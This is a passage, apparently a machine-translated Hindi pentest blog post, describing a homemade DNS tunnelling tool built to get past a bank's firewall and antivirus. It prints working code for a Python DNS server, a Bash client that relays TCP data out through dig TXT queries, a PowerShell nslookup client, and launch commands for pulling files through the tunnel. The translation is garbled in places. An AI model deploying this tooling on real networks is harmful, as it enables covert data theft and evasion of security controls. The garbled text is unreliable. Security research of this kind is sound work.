नमस्ते! पैठ परीक्षण परियोजनाओं में, हम अक्सर हार्ड-सेगमेंट वाले नेटवर्क का सामना करते हैं जो बाहरी दुनिया से लगभग पूरी तरह से अलग हो जाते हैं। कभी-कभी, इस समस्या को हल करने के लिए, केवल उपलब्ध प्रोटोकॉल - DNS के माध्यम से ट्रैफ़िक को अग्रेषित करना आवश्यक है। इस लेख में, हम आपको बताएंगे कि 2018 में इसी तरह की समस्या को कैसे हल किया जाए और इस प्रक्रिया में क्या नुकसान हुए हैं। लोकप्रिय उपयोगिताओं की भी समीक्षा की जाएगी और अपने स्वयं के ओपन-सोर्स उपयोगिता की एक रिलीज़ को उन विशेषताओं के साथ प्रस्तुत किया जाएगा जिनकी आमतौर पर मौजूदा समान उपकरणों की कमी है।

DNS सुरंगें क्या हैं

हैबे पर पहले से ही कई लेख हैं जो बताते हैं कि डीएनएस सुरंगिंग क्या है। हालांकि, डीएनएस टनलिंग के बारे में थोड़ा सिद्धांत स्पॉइलर के नीचे पाया जा सकता है।

जो इस समय लोकप्रिय है

अब इंटरनेट पर आप इस तकनीक को संचालित करने के लिए कई उपयोगिताओं को पा सकते हैं - प्रत्येक अपनी विशेषताओं और बग के साथ। हमने तुलनात्मक परीक्षण के लिए पांच सबसे लोकप्रिय का चयन किया:

• dnscat2
• आयोडीन
• dns2tcp
• Heyoka
• OzymanDNS

आप इस बारे में अधिक पढ़ सकते हैं कि हमने हैकर पर अपने लेख में उनका परीक्षण कैसे किया। यहां हम केवल परिणाम देते हैं।

जैसा कि आप परिणामों से देख सकते हैं, आप काम कर सकते हैं, लेकिन प्रवेश परीक्षण के दृष्टिकोण से, कमियां हैं:

• संकलित ग्राहक - एंटीवायरस वाली मशीनों पर द्विआधारी फ़ाइल की तुलना में व्याख्या की गई चीज़ को चलाना बहुत आसान है;
• विंडोज के तहत अस्थिर काम;
• कुछ मामलों में अतिरिक्त सॉफ़्टवेयर स्थापित करने की आवश्यकता है।

इन कमियों के कारण, हमें अपने स्वयं के उपकरण को विकसित करने की आवश्यकता थी, और यह इस तरह से निकला ...

अपनी खुद की DNS टनलिंग उपयोगिता बनाएं

प्रागितिहास

यह सब एक बैंक के आंतरिक पंचक के दौरान शुरू हुआ। लॉबी में एक सार्वजनिक कंप्यूटर था जिसका उपयोग दस्तावेजों, प्रमाणपत्रों और अन्य कागजात को प्रिंट करने के लिए किया जाता था। हमारा लक्ष्य: विंडोज 7 पर चलने वाली मशीन से सबसे अधिक लाभ प्राप्त करना, बोर्ड पर Kaspersky एंटी-वायरस था और केवल कुछ पृष्ठों तक पहुंच की अनुमति थी (लेकिन उसी समय DNS नामों को हल करना संभव था)।

प्रारंभिक विश्लेषण करने और कार से अतिरिक्त डेटा प्राप्त करने के बाद, हमने कई हमले वैक्टर विकसित किए। द्विआधारी कार्यक्रमों का उपयोग करते हुए मशीन के संचालन के साथ रास्ते को तुरंत किनारे पर हटा दिया गया था, क्योंकि "महान और भयानक" "कैस्पर्सकी" ने तुरंत इसके उन्मूलन का पता लगाया जब यह एक निष्पादन योग्य फ़ाइल का पता चला। हालांकि, हम स्थानीय व्यवस्थापक की ओर से स्क्रिप्ट चलाने का अवसर प्राप्त करने में कामयाब रहे, जिसके बाद विचारों में से एक DNS सुरंग बनाने की संभावना थी।

संभावित तरीकों की खोज करते हुए, हमें dnscat2 के लिए PowerShell पर एक क्लाइंट मिला (हमने इसके बारे में पहले लिखा था)। लेकिन अंत में, हम जो अधिकतम उत्पादन करने में सक्षम थे, वह थोड़े समय के लिए एक कनेक्शन स्थापित करना था, जिसके बाद ग्राहक दुर्घटनाग्रस्त हो गया।

यह, इसे हल्के ढंग से कहने के लिए, हमें बहुत परेशान करता है, क्योंकि इस स्थिति में एक व्याख्या किए गए ग्राहक की उपस्थिति बस आवश्यक थी। दरअसल, डीएनएस टनलिंग के लिए हमारे अपने टूल को विकसित करने का यह एक कारण था।

आवश्यकताओं

खुद के लिए हमारी मुख्य आवश्यकताएं हैं:

• यूनिवर्सल की उपस्थिति (जहाँ तक संभव हो) और यूनिक्स और विंडोज सिस्टम के लिए क्लाइंट की व्याख्या की। क्लाइंट के लिए, बैश और पॉवर्सशेल को क्रमशः चुना गया था। भविष्य में, यूनिक्स के लिए एक पर्ल क्लाइंट की योजना बनाई गई है;
• किसी विशिष्ट एप्लिकेशन से ट्रैफ़िक को अग्रेषित करने की क्षमता;
• एक उपयोगकर्ता के लिए कई ग्राहकों के लिए समर्थन।

प्रोजेक्ट आर्किटेक्चर

आवश्यकताओं के आधार पर, हमने विकास शुरू किया। हमारे विचार में, उपयोगिता में 3 भाग होते हैं: आंतरिक मशीन पर एक क्लाइंट, एक डीएनएस सर्वर और पेंटेस्टर एप्लिकेशन और डीएनएस सर्वर के बीच एक छोटा प्रॉक्सी।

शुरू करने के लिए, हमने TXT रिकॉर्ड के माध्यम से सुरंग को आगे बढ़ाने का फैसला किया।

ऑपरेशन का सिद्धांत काफी सरल है:

• Pentester ने एक DNS सर्वर लॉन्च किया।
• एक पंचर (या एक उपयोगकर्ता, सोशल इंजीनियरिंग के माध्यम से) एक ग्राहक को आंतरिक मशीन पर लॉन्च करता है। क्लाइंट पर क्लाइंट नाम और डोमेन जैसे ऐसे पैरामीटर हैं, और DNS सर्वर के आईपी पते को सीधे निर्दिष्ट करने की संभावना भी है।
• पेंटेस्टर (एक बाहरी नेटवर्क से) एक प्रॉक्सी शुरू करता है, जहां यह DNS सर्वर के आईपी पते को इंगित करता है, साथ ही साथ पोर्ट जहां दस्तक देना है, आईपी लक्ष्य (उदाहरण के लिए, आंतरिक नेटवर्क में ssh जहां ग्राहक बैठे हैं) और, तदनुसार, लक्ष्य पोर्ट। क्लाइंट आईडी की भी आवश्यकता होती है, जिसे --clients कुंजी जोड़कर प्राप्त किया जा सकता है।
• पेंटेस्टर ने स्थानीय हित के लिए प्रॉक्सी पोर्ट की ओर संकेत करते हुए, उनके लिए रुचि के अनुप्रयोग को लॉन्च किया।

संचार प्रोटोकॉल

सर्वर और क्लाइंट के बीच संचार के लिए एक काफी सरल प्रोटोकॉल पर विचार करें।

पंजीकरण

जब क्लाइंट शुरू होता है, तो यह सर्वर के साथ रजिस्टर होता है, जो निम्नलिखित प्रारूप के एक उप डोमेन के माध्यम से TXT रिकॉर्ड का अनुरोध करता है:

0<7 random chars><client name>.<your domain>

0 - पंजीकरण कुंजी
<7 random chars> - DNS रिकॉर्ड को कैशिंग से बचने के लिए
<client name> - स्टार्टअप पर क्लाइंट को दिया गया नाम
<your domain> - पूर्व।: xakep.ru
सफल पंजीकरण के मामले में, क्लाइंट को TXT प्रतिक्रिया में एक सफलता संदेश प्राप्त होता है, साथ ही साथ उसे सौंपी गई आईडी, जिसका वह उपयोग करता रहेगा।

मुख्य चक्र

पंजीकरण के बाद, क्लाइंट सर्वर से प्रारूप में नए डेटा की उपलब्धता के बारे में प्रश्न पूछना शुरू कर देता है

1<7 random chars><id>.<your domain>

यदि नया डेटा है, तो TXT प्रतिक्रिया में यह उन्हें प्रारूप में प्राप्त होता है

<id><target ip>:<target port>:<data in base64> , अन्यथा, <id>ND आता है।

डेटा लोडिंग चक्र

एक लूप में क्लाइंट यह देखने के लिए जाँच करता है कि डेटा हमारे <target> से आया है या नहीं। यदि कोई उत्तर है, तो हम पढ़ते हैं, जो आया था, आकार N Kb का एक बफर, इसे 250-<len_of_your_domain>-< > ब्लॉक में 250-<len_of_your_domain>-< > और प्रारूप में ब्लॉक द्वारा डेटा ब्लॉक भेजें:
2<4randomchars><id><block_id>.<data>.<your_domain>

यदि ब्लॉक ट्रांसफर सफल होता है, तो हमें ट्रांसफर ब्लॉक के बारे में कुछ डेटा के साथ ओके मिलता है; बफर ट्रांसफर पूरा होने की स्थिति में, हमें ENDBLOCK मिलता है।

DNS सर्वर

टनलिंग के लिए DNS सर्वर को dnslib लाइब्रेरी का उपयोग करके Python3 में लिखा गया था, जो कि dnslib.ProxyResolver ऑब्जेक्ट से विरासत में प्राप्त करके और रिज़ॉल्यूशन () विधि को ओवरराइड करके अपना DNS रिज़ॉल्वर बनाना आसान बनाता है।

महान dnslib आपको बहुत जल्दी अपने खुद के प्रॉक्सी बनाने की अनुमति देता है:

 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

समाधान () में, हम क्लाइंट से DNS प्रश्नों की प्रतिक्रियाओं को परिभाषित करते हैं: पंजीकरण, नए रिकॉर्ड का अनुरोध करना, डेटा वापस करना और उपयोगकर्ता को हटाना।

हम SQLite डेटाबेस में उपयोगकर्ताओं के बारे में जानकारी संग्रहीत करते हैं, डेटा क्लिपबोर्ड रैम में स्थित होता है और इसमें निम्न संरचना होती है, जिसमें कुंजी क्लाइंट नंबर होती है:

 { { "target_ip": "192.168.1.2", # IP “” -    "target_port": "", #  “” "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

डेटा को पैंसेस्टर से बफर में डालने के लिए, हमने एक छोटा "रिसीवर" लिखा, जिसे एक अलग स्ट्रीम में लॉन्च किया गया है। यह पेंटेस्टर से कनेक्शन पकड़ता है और रूटिंग करता है: किस क्लाइंट को अनुरोध भेजना है।

सर्वर शुरू करने से पहले, उपयोगकर्ता को केवल एक पैरामीटर सेट करने की आवश्यकता होती है: DOMAIN_NAME - उस डोमेन का नाम जिसके साथ सर्वर काम करेगा।

बैश क्लाइंट

बैश को यूनिक्स प्रणालियों के लिए एक क्लाइंट लिखने के लिए चुना गया था, क्योंकि यह आधुनिक यूनिक्स प्रणालियों में सबसे अधिक बार पाया जाता है। बैश, अनपेक्षित उपयोगकर्ता अधिकारों के साथ / dev / tcp / के माध्यम से जुड़ने की क्षमता प्रदान करता है।

हम कोड के प्रत्येक टुकड़े का विस्तार से विश्लेषण नहीं करेंगे, केवल सबसे दिलचस्प बिंदुओं पर एक नज़र डालें।
क्लाइंट का सिद्धांत सरल है। DNS के साथ संवाद करने के लिए, मानक dig उपयोगिता का उपयोग किया जाता है। क्लाइंट सर्वर के साथ रजिस्टर करता है, जिसके बाद, सतत चक्र में, यह पहले वर्णित प्रोटोकॉल का उपयोग करके अनुरोधों को पूरा करना शुरू करता है। स्पॉइलर के तहत अधिक।

 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

पॉवर्सशेल क्लाइंट:

चूंकि हमें पूर्ण व्याख्यात्मकता की आवश्यकता है और अधिकांश वर्तमान प्रणालियों पर काम करते हैं, इसलिए विंडोज के लिए बेस क्लाइंट आंतरिक नेटवर्क पर कनेक्शन स्थापित करने के लिए DNS और System.Net.Sockets.TcpClient ऑब्जेक्ट के माध्यम से संचार करने के लिए मानक nslookup उपयोगिता है।

सब कुछ बहुत सरल भी है। लूप का प्रत्येक पुनरावृत्ति पहले बताए गए प्रोटोकॉल का उपयोग करते हुए nslookup कमांड के लिए एक कॉल है।

उदाहरण के लिए, रजिस्टर करने के लिए, कमांड निष्पादित करें:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
यदि त्रुटियां होती हैं, तो हम उन्हें नहीं दिखाते हैं, त्रुटि विवरणक मान $ null में भेजते हैं।

nslookup हमें एक समान उत्तर देता है:

जिसके बाद हमें उद्धरण चिह्नों में सभी पंक्तियों को फैलाने की आवश्यकता होती है, जिसके लिए हम एक नियमित सीजन के साथ उनके माध्यम से जाते हैं:

$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }

अब आप प्राप्त आदेशों को संसाधित कर सकते हैं।
हर बार "पीड़ित" के आईपी पते में एक टीसीपी क्लाइंट बनाया जाता है, एक कनेक्शन स्थापित किया जाता है और डेटा ट्रांसफर शुरू होता है। डीएनएस सर्वर से, जानकारी बेस 64-डिकोड की जाती है, और बाइट्स पीड़ित को भेजे जाते हैं। यदि "पीड़ित" ने कुछ उत्तर दिया, तो हम सांकेतिक शब्दों में बदलना, भागों में विभाजित करते हैं और प्रोटोकॉल के अनुसार nslookup अनुरोधों को निष्पादित करते हैं। वह सब है।
जब आप Ctrl + C दबाते हैं, तो क्लाइंट को हटाने का अनुरोध निष्पादित होता है।

प्रॉक्सी:

पेंटेस्टर के लिए प्रॉक्सी python3 में एक छोटा प्रॉक्सी सर्वर है।

पैरामीटर में आपको DNS सर्वर का IP निर्दिष्ट करना होगा, वह पोर्ट जहां सर्वर से कनेक्ट होना है, विकल्प --clients पंजीकृत क्लाइंट, --target - target ip , --client - --target_port - target port , --client - id की क्लाइंट की एक सूची देता है जिसके साथ हम करेंगे काम (- --send_timeout निष्पादन के बाद देखा गया), - --send_timeout - आवेदन से संदेश भेजने के लिए समय समाप्त।

जब - --clients पैरामीटर के साथ लॉन्च किया जाता है, तो प्रॉक्सी सर्वर को एक प्रारूप \x00GETCLIENTS\n में भेजता है।
मामले में जब हम काम शुरू करते हैं, जब कनेक्ट करते हैं, तो हम पिछले कनेक्शन को रीसेट करने के लिए format \x02RESET:client_id\n में एक संदेश भेजते हैं। अपने लक्ष्य के बारे में जानकारी भेजने के बाद: \x01client_id:ip:port:\n
इसके अलावा, जब हम क्लाइंट को संदेश भेजते हैं, तो हम प्रारूप \x03data में बाइट भेजते हैं, और हम केवल आवेदन के लिए कच्चे बाइट भेजते हैं।
इसके अलावा, प्रॉक्सी SOCKS5 मोड का समर्थन करता है।

क्या मुश्किलें आ सकती हैं?

किसी भी तंत्र की तरह, उपयोगिता विफल हो सकती है। आइए यह मत भूलो कि DNS सुरंग एक पतली चीज है, और कई कारक इसके संचालन को प्रभावित कर सकते हैं, नेटवर्क वास्तुकला से आपके उत्पादन सर्वर के कनेक्शन की गुणवत्ता तक।

परीक्षण के दौरान, हमने कभी-कभी छोटे ग्लिट्स पर ध्यान दिया। उदाहरण के लिए, उच्च प्रिंट गति पर, ssh के माध्यम से काम करते हुए, यह --send_timeout पैरामीटर को सेट करने के लायक है, क्योंकि अन्यथा ग्राहक फ्रीज होना शुरू हो जाता है। इसके अलावा, कभी-कभी कनेक्शन पहली बार स्थापित नहीं किया जा सकता है, लेकिन इसे प्रॉक्सी को पुनरारंभ करके आसानी से इलाज किया जा सकता है, क्योंकि नए कनेक्शन के दौरान कनेक्शन रीसेट हो जाएगा। समीपस्थों के साथ काम करते समय डोमेन रिज़ॉल्यूशन के साथ समस्याएं भी थीं, लेकिन अगर आप प्रॉक्सिचिन के लिए एक अतिरिक्त पैरामीटर निर्दिष्ट करते हैं, तो यह भी ठीक करने योग्य है। यह ध्यान देने योग्य है कि फिलहाल उपयोगिता DNS सर्वरों को कैशिंग से अनावश्यक अनुरोधों की उपस्थिति को नियंत्रित नहीं करती है, इसलिए कनेक्शन कभी-कभी विफल हो सकता है, हालांकि, यह ऊपर वर्णित विधि का उपयोग करके फिर से व्यवहार किया जाता है।

लांच

डोमेन पर NS रिकॉर्ड कॉन्फ़िगर करें:

हम तब तक इंतजार करते हैं जब तक कैश अपडेट नहीं हो जाता (आमतौर पर 5 घंटे तक)।

हम सर्वर शुरू करते हैं:
python3 ./server.py --domain oversec.ru

क्लाइंट (बैश) लॉन्च करें:
bash ./bash_client.sh -d oversec.ru -n TEST1

हम क्लाइंट (विन) शुरू करते हैं:
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2

आइए देखें जुड़े ग्राहकों की सूची:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients

प्रॉक्सी लॉन्च करें:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1

परीक्षण:

सर्वर के बाद और कम से कम एक क्लाइंट शुरू किया गया है, हम प्रॉक्सी तक पहुंच सकते हैं जैसे कि यह हमारी रिमोट मशीन थी।
आइए निम्न स्थिति को अनुकरण करने का प्रयास करें: पंचक फ़ायरवॉल द्वारा संरक्षित संगठन के स्थानीय नेटवर्क से सर्वर से एक फ़ाइल डाउनलोड करना चाहता है, जबकि सोशल इंजीनियरिंग के तरीकों का उपयोग करते हुए वह DNS क्लाइंट को नेटवर्क के अंदर चलाने और एसएसएच सर्वर पासवर्ड का पता लगाने के लिए मजबूर करने में सक्षम था।

अपनी मशीन पर पेंटेस्टर एक प्रॉक्सी शुरू करता है, जो आवश्यक क्लाइंट को दर्शाता है और फिर उसी तरह की कॉल कर सकता है जिसे क्लाइंट को भेजा जाएगा, और क्लाइंट से स्थानीय नेटवर्क पर।
scp -P9090 -C root@localhost:/root/dnserver.py test.kek

आइए देखें क्या हुआ:

ऊपर बाईं ओर, आप DNS क्वेरीज़ देख सकते हैं जो सर्वर पर आती हैं, ऊपर दाईं ओर - प्रॉक्सी ट्रैफ़िक, नीचे बाईं ओर - क्लाइंट से ट्रैफ़िक, और नीचे दाईं ओर से - हमारा एप्लिकेशन। डीएनएस सुरंग के लिए गति बहुत अच्छी निकली: 4.9Kb / s कम्प्रेशन का उपयोग करते हुए।

जब संपीड़न के बिना लॉन्च किया गया, तो उपयोगिता ने 1.8 kb / s की गति दिखाई:

आइए DNS सर्वर ट्रैफ़िक को ध्यान से देखें, इसके लिए हम tcpdump उपयोगिता का उपयोग करते हैं।
tcpdump -i eth0 udp port 53

हम देखते हैं कि सब कुछ वर्णित प्रोटोकॉल के अनुरूप है: क्लाइंट लगातार सर्वर को 1c6Zx9Vi39.oversec.ru जैसे प्रश्नों का उपयोग करके इस क्लाइंट के लिए कोई नया डेटा हो। यदि डेटा है, तो सर्वर TXT रिकॉर्ड के एक सेट के साथ प्रतिक्रिया करता है, अन्यथा% client_num% ND ( 39ND )। क्लाइंट सर्वर प्रश्नों के प्रकार का उपयोग करने के लिए जानकारी भेजता है 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.

निम्नलिखित वीडियो में, आप स्पष्ट रूप से देख सकते हैं कि मीटरमीटर और SOCKS5 मोड के साथ मिलकर उपयोगिता कैसे काम करती है।

परिणाम:

आइए संक्षेप में थोड़ा बताएं। इस विकास में क्या विशेषताएं हैं और हम इसका उपयोग करने की सलाह क्यों देते हैं?

1. बैश और पॉवर्सशेल पर व्याख्या किए गए ग्राहक: कोई EXE-shnikov और ELF-s जिसे चलाना मुश्किल हो सकता है।
2. कनेक्शन स्थिरता: परीक्षणों में, हमारी उपयोगिता ने अधिक स्थिर व्यवहार किया, और यदि कोई बग थे, तो आप बस फिर से कनेक्ट कर सकते हैं, जबकि क्लाइंट क्रैश नहीं हुआ था, जैसा कि dnscat2 के साथ मामला था, उदाहरण के लिए।
3. DNS सुरंग के लिए उच्च गति: बेशक, गति आयोडीन तक नहीं पहुंचती है, लेकिन एक निम्न-स्तर का एक जटिल समाधान है।
4. किसी व्यवस्थापक अधिकार की आवश्यकता नहीं है: बैश क्लाइंट व्यवस्थापक अधिकारों के बिना काम करता है, और पॉवर्सशेल स्क्रिप्ट कभी-कभी सुरक्षा नीतियों द्वारा निषिद्ध होती हैं, लेकिन यह काफी सरल है।
5. एक मोजे 5 प्रॉक्सी मोड है, जो आपको इतने curl -v --socks5 127.0.0.1:9011 https://ident.me या पूरे आंतरिक नेटवर्क पर curl -v --socks5 127.0.0.1:9011 https://ident.me चलाने की अनुमति देता है।

उपयोगिता कोड यहां उपलब्ध है।